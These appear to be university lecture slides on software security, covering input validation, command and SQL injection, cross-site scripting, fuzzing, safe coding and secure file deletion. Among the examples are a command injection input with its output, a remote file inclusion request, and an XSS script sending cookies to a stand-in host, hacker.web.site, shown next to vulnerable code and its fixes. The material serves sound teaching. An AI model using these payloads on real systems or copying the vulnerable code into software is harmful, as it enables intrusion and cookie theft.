Introduction to Computer Security

Chapter 11: Software Security

Chi-Yu Li (2020 Spring)
Computer Science Department
National Chiao Tung University

Outline

- Software Security Issues
- Handling Program Input
- Writing Safe Program Code
- Interacting with the OS and Other Programs
- Handling Program Output

Software Security Issues

- Many vulnerabilities result from poor programming practices

- Consequences from insufficient checking/validation of data and error codes in programs
  - Unvalidated input
  - Cross-site scripting
  - Buffer overflow
  - Injection flaws
  - Improper error handling
  - …

Software Error Categories

- Insecure interaction between components
  - e.g., SQL injection, cross-site scripting, open redirect
- Risky resource management
  - e.g., classical buffer overflow, path traversal, download of code without integrity check
- Porous defenses
  - e.g., missing authentication for critical function, authorization, or encryption of sensitive data

Software Security: Software Quality/Reliability?

Software Quality and Reliability

- Concern: accidental failure of a program
  - Unanticipated input
  - System interaction
  - Use of incorrect code
- Not the total number of bugs, but how often they are triggered
- Improvement: structured design and testing to identify and eliminate bugs

Software Security

- Attacker targets specific bugs that result in a failure that can be exploited
- Triggered by inputs that differ dramatically from what is usually expected
- Unlikely to be identified by common testing approaches

Defensive or Secure Programming

- The process of designing and implementing software: continue to function even when under attack

- Software written using this process
  - Detect erroneous conditions resulting from some attack
  - Either continue executing safely, or fail gracefully

- Key rule: never assume anything
  - Check all assumptions and handle any possible error states

Defensive Programming (Cont.)

- Typical programmers
  - Attention on the steps needed for success
    - Follow the normal flow of execution of the program
    - But not consider every potential point of failure
  - Often make assumptions: type of inputs and environment
- Defensive Programming
  - The assumptions need to be validated by the program
  - All potential failures handled gracefully and safely
  - But, increase codes and time spent ➔ Conflicts with business pressures

Defensive Programming (Cont.)

- Typical programmers: when changes are required
  - Focus on the changes required and what needs to be achieved
- Defensive programming
  - Must carefully check any assumptions made
  - Check and handle all possible errors
  - Carefully check any interactions with existing code

Requiring a changed mindset to traditional programming practices

Security by Design

- Security and reliability are common design goals in most engineering disciplines
- Software development has not reached high level of maturity
- Recent years have seen increasing efforts to improve secure software development processes
  - Software Assurance Forum for Excellence in Code (SAFECode)
    - Outlining industry best practices for software assurance
    - Providing practical advice for secure software development

Outline

- Software Security Issues
- Handling Program Input
- Writing Safe Program Code
- Interacting with the OS and Other Programs
- Handling Program Output

Handling Program Input

- Incorrect handling is one of the most common failings
- Input is any source of data from outside and whose value is not explicitly known by the programmer
- All sources of input data must be identified
- Explicitly validate assumptions on size and type of values before use
- Two key areas of concern: size and interpretation

Input Size & Buffer Overflow

- Programmers often make assumptions: maximum expected size of input
  - Allocated buffer size is not confirmed
  - May result in buffer overflows
- Testing may not identify the vulnerability
  - Test inputs are unlikely to include large enough inputs to trigger the overflow
- Safe programming practices (in Chapter 10)
  - Use of safe string and buffer copying routines, etc.
- Safe coding regards any input as dangerous
  - Processes it in a manner that does not expose the program to danger

Interpretation of Program Input

- Program input may be binary or textual
  - Binary data: depends on encoding and is usually app-specific
  - e.g., Ethernet frames, IP packets, and TCP segments
  - e.g., DNS, SNMP, etc.: using binary encoding of the requests and responses
- Failure to validate may result in an exploitable vulnerability
  - e.g., 2014 Heartbleed OpenSSL bug
    - Failure to check the validity of a binary input value ➔ return too much data
- An increasing variety of character sets being used (e.g., ASCII)
  - Care is needed to identify just which set is being used, and just what characters are being read

Injection Attacks

- When program input data can accidentally or deliberately influence the flow of execution of the program
  - Most common: input data are passed as a parameter to another helper program
    - Often occurs when using scripting languages (e.g., perl, PHP, python)
    - Such languages encourage the reuse of other existing programs
    - Now, often used as Web CGI scripts to process data supplied from HTML forms

- Example

```
<html><head><title>Finger User</title></head><body></html>
<h1>Finger User</h1>
<form method=post action="finger.cgi">
<b>Username to finger</b>: <input type=text name=user value="">
<p><input type=submit value="Finger User">
</form></body></html>
```

Injection Attacks: Example

```
#!/usr/bin/perl
# finger.cgi - finger CGI script using Perl5 CGI module

use CGI;
use CGI::Carp qw(fatalsToBrowser);
$q = new CGI; # create query object

# display HTML header
print $q->header,
$q->start_html('Finger User'),
$q->h1('Finger User');
print "<pre>";

# get name of user and display their finger details
$user = $q->param("user");
print `/usr/bin/finger -sh $user`;

# display HTML footer
print "</pre>";
print $q->end_html;
```

Injection Attacks: Example (Cont.)

- Command injection attack

User='xxx; echo attack success; ls –l finger*'

```
Finger User
Login Name     TTY Idle Login Time Where
lpb Lawrie Brown   p0 Sat 15:24 ppp41.grapevine

Finger User
attack success
-rwxr-xr-x 1 lpb staff 537 Oct 21 16:19 finger.cgi
-rw-r--r-- 1 lpb staff 251 Oct 21 16:14 finger.html
```

- Safety extension

```
# get name of user and display their finger details
$user = $q->param("user");
die "The specified user contains illegal characters!"
unless ($user =~ /^\w+$/);
print `/usr/bin/finger -sh $user`;
```

← Ensures that user input contains just alphanumeric characters

SQL Injection Example

- Vulnerable PHP code

```
$name = $_REQUEST['name'];
$query = "SELECT * FROM suppliers WHERE name = '" . $name . "';";
$result = mysql_query($query);
```

- Safer PHP code

```
$name = $_REQUEST['name'];
$query = "SELECT * FROM suppliers WHERE name = '" .
mysql_real_escape_string($name) . "';";
$result = mysql_query($query);
```

Code Injection Example

- Vulnerable PHP code

```
<?php
include $path . 'functions.php';
include $path . 'data/prefs.php';
…
```

- HTTP exploit request

```
GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls
```

Cross-site Scripting (XSS) Attacks

- Input provided to a program by one user that is subsequently output to another user
  - Script code may need to access data associated with other pages
  - Assumption: all content from one site is equally trusted and hence is permitted to interact with other content from that site
  - Attacks exploit this assumption and attempt to bypass the browser’s security checks
- Most commonly seen in scripted Web apps
  - Involving the inclusion of script code in the HTML content of a Web page displayed by a user’s browser
  - e.g., JavaScript, ActiveX, VBScript, Flash
- Most common variant: XSS reflection

XSS Reflection

- Consider the widespread use of guestbook programs
  - e.g., wikis and blogs
  - Allow users accessing the site to leave comments, which are subsequently viewed by other users

```
Thanks for this information, its great!
<script>document.location='http://hacker.web.site/cookie.cgi?'+
document.cookie</script>
```

- Prevention: any user-supplied input should be examined
- The browser interprets the following identically to the above code

```
Thanks for this information, its great!
&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;
&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;
&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;
&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;
&#47;&#47;&#104;&#97;&#99;&#107;&#101;&#114;
&#46;&#119;&#101;&#98;&#46;&#115;&#105;&#116;
```

Validating Input Syntax

- Ensure that data conform with any assumptions made about the data before subsequence use
  - e.g. textual data → contain only printable characters
- Input data should be compared against what is wanted
  - i.e., accepting only valid input → whitelisting
- Alternative is to compare the input data with known dangerous values
  - i.e., blacklisting
- By only accepting known safe data, the program is more likely to remain secure
  - using regular expressions

Validating Numeric Input

- Internally stored in fixed sized value
  - 8, 16, 32, 64-bit integers
  - Floating point numbers depend on the processor used
    - E.g., 32, 64, 96 bits
  - Values may be signed or unsigned

- Must correctly interpret text form
  - Have issues comparing signed to unsigned
    - Input as unsigned may be treated as a signed value
    - Vulnerability: negative values have the top bit set
  - Could be used to thwart buffer overflow check

Input Fuzzing

- Major issue of input testing: very large range of inputs
  - Textual or graphic input
  - Random network requests
  - Random parameters from system or libraries
  - etc.

- Fuzzing: a software testing technique -- using randomly generated data as inputs to a program
  - Developed by Professor Barton Miller at University of Wisconsin Madison in 1989
  - Simplicity and freedom from assumptions
  - Very low cost of generating large numbers of tests
  - Identifying reliability and security deficiencies in programs

Input Fuzzing (Cont.)

- Input can be completely randomly generated, or randomly generated according to some template
  - Templates: likely scenarios for bugs
    - e.g., excessively long inputs or textual inputs without spaces
    - e.g., targeting critical aspects of the protocol
    - Pros: increasing the likelihood of locating bugs
    - Cons: assumptions about the input; misses may happen
  - A combination of both is needed for comprehensiveness
- Conceptually very simple, but identifying only simple types of faults
  - Unlikely to locate some bugs, e.g., only triggered by a small number of very specific input values

Outline

- Software Security Issues
- Handling Program Input
- Writing Safe Program Code
- Interacting with the OS and Other Programs
- Handling Program Output

Writing Safe Program Code

- Key issues
  - Correct algorithm implementation: correctly solving the specified problem
  - Correct machine instructions for algorithm
  - Valid manipulation of data

Correct Algorithm Implementation

- Not correctly implement all cases or variants of the problem
  - e.g., inappropriate interpretation or handling of program input

- Example I: a bug in some early releases of the Netscape Web browser
  - Implementation of the random number generator: generating session keys
  - Assumption: the numbers should be unguessable
  - Bug: numbers were relatively east to predict
    - Due to a poor choice of the information used to seed the algorithm
  - Fix: reimplementing the random number generator

Correct Algorithm Implementation (Cont.)

- Example II: TCP session spoof or hijack attack
  - Fooling the server into accepting packets using a spoofed source address
  - Bug: initial sequence numbers are far too predictable
    - Sequence number: an identifier and authenticator of packets
  - Hijack attack
    - Sequence number: the response from the server will not be seen by the attacker
    - Correctly guessing this number: a suitable ACK packet can be constructed and sent to the server
  - Hijack variant
    - Waiting until some authorized external user connects and logs into the server
    - Guessing the sequence number used and injecting packets with spoofed details
  - DoS attack
    - Triggering RST packet from the server to terminate the connection
  - Fix: truly randomized initial sequence numbers

Correct Algorithm Implementation (Cont.)

- Example III: Programmers deliberately include additional code in a program to help test and debug it
  - Inappropriately release information to a user of the program
  - Permit a user to bypass security checks
  - Was seen in the sendmail mail delivery program in the late 1980s
    - Famously exploited by Morris Internet Worm
    - Left in support for a DEBUG command that allowed the user to remotely query and control the running program
    - The sendmail program ran using superuser privileges

Correct Algorithm Implementation (Cont.)

- Example IV: Interpreter for a high or intermediate-level languages
  - Failure to adequately reflect the language semantics: bugs
  - Some early implementations of the JVM: security checks for remotely codes
  - Permit an attacker to introduce code remotely (e.g., on Web pages) and trick the JVM interpreter into treating them as locally sourced

Correct Machine Instructions for Algorithm

- Largely ignored by most programmers
  - Assumption: the compiler or interpreter generates or executes code that validly implements the language statements
- Malicious compiler programmer
  - Including instructions in the compiler to emit additional code
- Countermeasure: careful comparison of the machine code with the source
  - Slow and difficult

Correct Data Interpretation

- All data on a computer are stored as groups of binary bits
  - Interpreted as a character, an integer, a floating-point number?
- Different languages provide varying capabilities for restricting and validating interpretation of data in variables
  - Strong typing: more limited and safer
  - Much more liberal interpretation of data: permit program code to explicitly change their interpretation
    - e.g., language C
    - Easy interpretation conversion between integers and memory addresses
    - Significant benefits for system level programming
    - However, many errors can be caused

Correct Data Interpretation (Cont.)

- Correct use of memory
  - Issue: allocation and management of dynamic memory storage (heap)
    - Used to manipulate unknown amounts of data
    - Must be allocated when needed and released when done
  - Memory leak
    - Steady reduction in memory available on the heap: completely exhausted
    - DoS attack: cause the program to crash
  - Many older languages, including C: no explicit support for dynamically allocated memory
    - By explicitly calling standard library routines
    - Determine exactly when the memory is no longer required can be difficult
    - Easily occur, and difficult to identify and correct
  - Modern languages (e.g., Java and C++) handle it automatically

Preventing Race Conditions with Shared Memory

- Race condition
  - Multiple processes and threats compete to gain uncontrolled access to some resource
  - Solution: correct selection and use of appropriate synchronization primitives
  - But, deadlock can be still an issue
  - Attackers may trigger the deadlock to launch DoS

Interacting with the OS and Other Programs

- In general, programs do not run in isolation on most computer systems
  - multiple users, multiple programs
  - various shared files and devices
  - OS mediates access to system resources
  - OS shares their use between all the executing programs
- Several issues
  - Environment variables
  - Using appropriate, least privileges
  - Systems calls and standard library functions
  - Preventing race conditions with shared system resources
  - Safe temporary file use
  - Interacting with other programs

System Calls and Standard Library Functions

- Programs use system calls and standard library functions for common operations

- The programs may not perform as expected
  - Incorrect assumptions made for the operations of the system calls and standard library functions
  - May be a result of system optimizing access to shared resources
  - Result in requests for services being buffered, resequenced, or otherwise modified to optimize system use
  - Optimizations can conflict with program goals

Example: How to Securely Delete a File?

- Standard file delete utility: simply removes the linkage between the file's name and its contents
- Initial secure file shredding program algorithm

```
patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111,
...]
open file for writing
for each pattern
    seek to start of file
    overwrite file contents with pattern
close file
remove file
```

- Incorrect assumptions
  - ◻ System will write the new data to same disk blocks
  - ◻ Data are written immediately to disk
  - ◻ When the I/O buffers are flushed and the file is closed, the data are then written to disk

Example: How to Securely Delete a File? (Cont.)

- Better secure file shredding program algorithm

```
patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111,
...]
open file for update
for each pattern
    seek to start of file
    overwrite file contents with pattern
    flush application write buffers
    sync file system write buffers with device
close file
remove file
```

- Open the file for update: the existing data are still required
- Flush buffer after each pattern is written
- Synchorize the file system’s data with the values on the device

Outline

- Software Security Issues
- Handling Program Input
- Writing Safe Program Code
- Interacting with the OS and Other Programs
- Handling Program Output

Handling Program Output

- Program output
  - May be stored for future use, sent over net, displayed
  - May be binary or text
- Important: output conforms to the expected form and interpretation
- Programs must identify what is permissible output content
  - Filter any possibly untrusted data to ensure that only valid output is displayed
- Character set should be specified

Questions?